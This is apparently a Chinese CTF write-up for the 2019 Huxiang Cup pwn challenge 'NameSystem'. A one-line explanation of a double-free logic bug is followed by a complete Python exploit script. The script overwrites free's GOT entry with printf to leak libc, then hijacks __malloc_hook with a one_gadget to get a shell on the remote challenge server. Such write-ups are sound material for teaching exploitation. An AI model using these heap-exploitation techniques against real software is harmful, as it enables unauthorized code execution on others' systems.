NameSystem

发表于 2021-01-04 分类于 Challenge， 2019， 湖湘杯， Pwn
Challenge | 2019 | 湖湘杯 | Pwn | NameSystem

点击此处获得更好的阅读体验

程序在free函数存在逻辑漏洞，当free id为18的chunk时，会多复制一个19出来，构造double free攻击got，将free改成printf进行地址泄露，最后攻击malloc hook调用one gadget

```
from PwnContext import *
if __name__ == '__main__':
    context.terminal = ['tmux', 'split', '-h']
    #-----function for quick script-----#
    s       = lambda data               :ctx.send(str(data))        #in case that data is a int
    sa      = lambda delim,data         :ctx.sendafter(str(delim), str(data))
    sl      = lambda data               :ctx.sendline(str(data))
    sla     = lambda delim,data         :ctx.sendlineafter(str(delim), str(data))
    r       = lambda numb=4096          :ctx.recv(numb)
    ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)
    irt     = lambda                    :ctx.interactive()
    rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)
    leak    = lambda address, count=0   :ctx.leak(address, count)
    uu32    = lambda data   :u32(data.ljust(4, '\0'))
    uu64    = lambda data   :u64(data.ljust(8, '\0'))
    debugg = 0
    logg = 0
    ctx.binary = './NameSystem'
    #ctx.custom_lib_dir = './glibc-all-in-one/libs/2.23-0ubuntu11_amd64/'#remote libc
    #ctx.debug_remote_libc = True
    ctx.symbols = {'note':0x6020a0}
    ctx.breakpoints = [0x400B25]
    #ctx.debug()
    #ctx.start("gdb",gdbscript="set follow-fork-mode child\nc")
    if debugg:
        rs()
    else:
        ctx.remote = ('183.129.189.62', 19205)
        rs(method = 'remote')
    if logg:
        context.log_level = 'debug'
    def choice(aid):
        sla('choice :',aid)
    def add(asize,acon):
        choice(1)
        sla('Size:',asize)
        sla('Name:',acon)
    def free(aid):
        choice(3)
        sla('delete:',aid)
    for i in range(17):
        add(0x10,'%13$p')
    for i in range(3):
        add(0x50,'AAA')
    free(18)
    free(18)
    free(17)
    free(19)
    for i in range(5):
        free(0)
    fake = 0x602000+2-8
    add(0x50,p64(fake))
    add(0x50,'111')
    add(0x50,'222')
    add(0x60,'17')
    add(0x60,'18')
    add(0x60,'19')
    free(18)
    free(19)
    free(17)
    free(17)
    plt_printf = 0x4006D0
    add(0x50,'\x00'*6+p64(0)+p64(plt_printf)[:6])
```

```
64      free(0)
65      libc = ELF('./libc.so.6')
66      libc_base = int(r(14),16) - libc.sym['__libc_start_main'] - 240
67      log.success("libc_base = %s"%hex(libc_base))
68      free(0)
69      free(0)
70      free(0)
71      malloc_hook = libc_base + libc.sym['__malloc_hook']
72      realloc_hook = libc_base + libc.sym['__realloc_hook']
73      realloc = libc_base + libc.sym['realloc']
74      add(0x60,p64(malloc_hook-0x23))
75      add(0x60,'1')
76      add(0x60,'2')
77      one = libc_base + 0xf1147
78      log.success("one = %s"%hex(one))
79      add(0x60,'\x00'*0xb+p64(one)+p64(realloc+20))
80      choice(1)
81      sla('Size:',16)
82      #ctx.debug()
83      irt()
```


 # Challenge # Pwn # 2019 # 湖湘杯
HackNote
pwn1